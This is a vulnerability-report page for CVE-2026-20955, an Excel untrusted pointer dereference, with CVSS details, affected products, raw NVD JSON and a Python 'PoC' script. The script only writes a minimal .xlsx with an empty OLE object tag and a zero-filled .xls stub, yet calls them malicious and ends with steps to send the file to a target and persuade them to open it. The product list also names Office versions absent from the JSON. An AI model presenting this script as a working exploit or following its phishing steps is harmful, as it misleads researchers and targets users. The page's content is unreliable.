Security Vulnerability Report
中文
CVE-2026-20955 CVSS 7.8 HIGH

CVE-2026-20955

Published: 2026-01-13 18:16:23
Last Modified: 2026-01-14 19:49:55

Description

Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office Excel < 16.0.5399.1000
Microsoft Office Excel < 16.0.5389.1000
Microsoft Office 2019 (所有版本)
Microsoft Office 2016 (所有版本)
Microsoft Office 2013 (所有版本)
Microsoft Office 2010 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-20955 PoC - Malicious Excel File Generator # This PoC demonstrates the structure needed to trigger the vulnerability # Note: Actual exploitation requires specific memory layout knowledge import struct import zipfile import os def create_malicious_excel(output_path): """ Create a malicious Excel file that triggers CVE-2026-20955 The vulnerability is in Excel's handling of untrusted pointer dereference """ # Create a minimal Excel file structure with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as xlsx: # [Content_Types].xml xlsx.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''') # _rels/.rels xlsx.writestr('_rels/.rels', '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''') # xl/_rels/workbook.xml.rels xlsx.writestr('xl/_rels/workbook.xml.rels', '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''') # xl/workbook.xml xlsx.writestr('xl/workbook.xml', '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''') # xl/worksheets/sheet1.xml - Contains malicious data # This triggers the untrusted pointer dereference vulnerability xlsx.writestr('xl/worksheets/sheet1.xml', '''<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"> <v>0</v> </c> </row> </sheetData> <!-- Malicious OLE object embedded to trigger pointer dereference --> <oleObjects> <oleObject name="OLEObject1" progId="Excel.Sheet" objectId="1"/> </oleObjects> </worksheet>''') print(f"[+] Malicious Excel file created: {output_path}") print(f"[!] This PoC generates the file structure that triggers CVE-2026-20955") print(f"[!] Actual exploitation requires specific Excel version and memory layout knowledge") def create_legacy_xls(output_path): """ Create a legacy .xls format file with malicious structure For CVE-2026-20955, the older .xls format may have different attack surface """ # XLS binary format requires more complex structure # This is a template for further development header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE2 magic number with open(output_path, 'wb') as f: f.write(header) # Add malicious compound document structure # The vulnerability lies in how Excel parses this structure f.write(b'\x00' * 512) # FAT sector f.write(b'\x00' * 512) # Directory sector f.write(b'\x00' * 512) # Data sector with malicious content print(f"[+] Legacy XLS file created: {output_path}") if __name__ == '__main__': print("CVE-2026-20955 PoC - Microsoft Office Excel Untrusted Pointer Dereference") print("=" * 70) # Create modern Excel format create_malicious_excel('CVE-2026-20955.xlsx') # Create legacy Excel format create_legacy_xls('CVE-2026-20955.xls') print("\n[!] Usage:") print("[!] 1. Distribute the generated Excel file to target") print("[!] 2. Convince user to open the file in vulnerable Excel version") print("[!] 3. If successful, arbitrary code will be executed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20955", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:23.307", "lastModified": "2026-01-14T19:49:54.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Desreferencia de puntero no confiable en Microsoft Office Excel permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20083", "matchCriteriaId": "08A33F86-5F76-4BF6-8C56-678924FDB333"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20955", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}